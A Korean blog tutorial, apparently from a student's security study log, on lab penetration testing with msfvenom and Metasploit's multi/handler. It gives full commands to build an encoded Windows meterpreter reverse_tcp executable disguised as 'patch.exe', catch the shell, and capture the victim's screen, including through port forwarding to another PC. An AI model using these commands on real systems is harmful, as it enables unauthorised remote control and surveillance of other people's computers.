msfvenom과 multihandler를 이용한 모의해킹
by 현생사는갓생지망생msfvenom을 이용한 모의해킹
Metasploit
온갖 취약점과 관련한 모든 메타 데이터를 관리하는 프레임워크로,
기본적으로 Kali Linux에는 Metasploit이 설치되어 있다.
payload : 취약점을 통해 목표 시스템에서 실행할 shell 코드 등을 말한다.
exploit : 공격자에 의해 노출된 취약점 이용.
msfvenom
metasploit의 부가기능으로 제공되는 프로그램.
공격할 때 사용되는 쉘코드, exe 실행파일을 만들거나
또는 원래 가지고 있는 실행파일에 주입하는 것이 가능하다.
공격 시나리오
공격자 : kali (1.0.0.51)
공격대상 : meta3 (1.0.0.54)
① kali에서 msfvenom을 이용하여 악성 실행파일을 생성.
② meta3에서 그 실행파일을 클릭.
③ meterpreter로 접속 성공.
1. msfvenom 이용하여 실행파일 생성
먼저 msfvenom -l 명령어로 msfvenom 옵션을 확인한다.
-e : 인코딩
-f : 파일형식 (확장자)
-a : 아키텍쳐
-p : payload (공격방식)
-i : 인코딩 횟수
-o : 저장 위치
자주 쓰는 옵션엔 이러한 것들이 있다.
msfvenom -l e 명령어로 인코더에 대한 정보를 확인한다.
우리는 x64/zutto_dekiru을 사용하여 실습한다.
# msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp \
lhost=1.0.0.51 lport=5555 -f exe -e x64/zutto_dekiru -i 3 -o /root/patch.exe
→ LHOST = [공격자 IP]
→ LPORT = [원하는 포트 지정(default=4444)]
reverse_tcp란?
일반적으로 침투는 외부 네트워크에서 내부 네트워크로의 접근이 일반적이다.
하지만 방화벽 등과 같은 이유로 접근이 어려운 경우, 역으로 내부 네트워크에서 외부로 접속하는 방법을 이용한다.
메타스플로잇에서 이런 기능을 한 페이로드가 reverse_tcp 이다.
> 공격자에서 대상에게 직접 연결 : bind 연결
> 공격 대상에서 공격자에게 반대로 연결 : reverse 연결
2. reverse_tcp 페이로드 이용하여 공격 시도
먼저 msfconsole로 접속한다.
콘솔로 접속하기 전 DB를 초기화시키고 postgresql라는 DB 서비스를 시작해주어야 한다.
DB초기화 작업은 초기에 한 번만 진행해주면 된다.
# msfdb init
# service postgresql start
# db_rebuild_cache
백그라운드에서 DB에 캐시 값을 계속해서 저장
# use exploit/multi/handler
show options 명령어로 확인해보면 아직 아무런 옵션이 설정되어있지 않다.
위에서 지정했듯이 reverse_tcp 페이로드로 설정한다.
show options 명령어로 확인해보았을 때 Required 부분이 yes이면 값이 필수로 들어가야 한다.
lhost와 lport는 위에서 설정해준 것과 일치해야 한다.
3. Kali에서 만든 악성 실행파일을 Meta3로 전송.
msfvenom으로 생성한 patch.exe파일이 지정한 경로에 생성되었다.
실행파일을 Meta3로 옮긴다.
4. meterpreter로 접속 성공.
Kali에서 run 명령어를 입력하면 아직 Meta3에서 악성 실행파일을 클릭하지 않았기 때문에
잠시 대기하게 된다.
Meta3에서 실행파일을 클릭하는 순간 바로 meterpreter로 접속이 가능하다.
이번엔 가상머신 내에서가 아닌 다른 PC(이하 A)의 가상머신을 해킹해볼 것이다.
나머진 동일하게, lhost=[A의 실제 IP] , lport=[쓰고자 하는 포트 지정]
내 PC가 A안의 가상머신의 IP를 알 순 없으므로 실제 PC의 IP로 지정해주어야 한다.
A에서 포트포워딩을 해준다.
5555 port로 들어오면 A의 Kali IP인 1.0.0.51로 가도록 한다.
콘솔로 접속해서
# use exploit/multi/handler
# set payload windows/x64/meterpreter/reverse_tcp
# set lhost [A의 host PC]
# set lport [위에서 지정한 포트와 일치]
아직 A에서 실행파일을 클릭하지 않았기 때문에 대기한다.
A에서 실행시키는 순간 meterpreter로 접속이 가능하다.
screenshot 명령어를 입력하면 저장 경로가 보인다.
A의 화면을 캡처해 /root/에 저장되었다.
'IT 기초 공부기록 > Security' 카테고리의 다른 글
msfvenom을 이용한 권한 상승 및 keyscan (0) | 2018.12.12 |
---|---|
eternalblue(이터널블루)를 이용한 smb취약점 공격 (0) | 2018.12.12 |
이터널블루 취약점 공격 (0) | 2018.09.16 |
Kali Linux 미러사이트 (0) | 2018.09.16 |
Kali Linux 초기 설정(한글화) (0) | 2018.09.16 |
블로그의 정보
현생이네
현생사는갓생지망생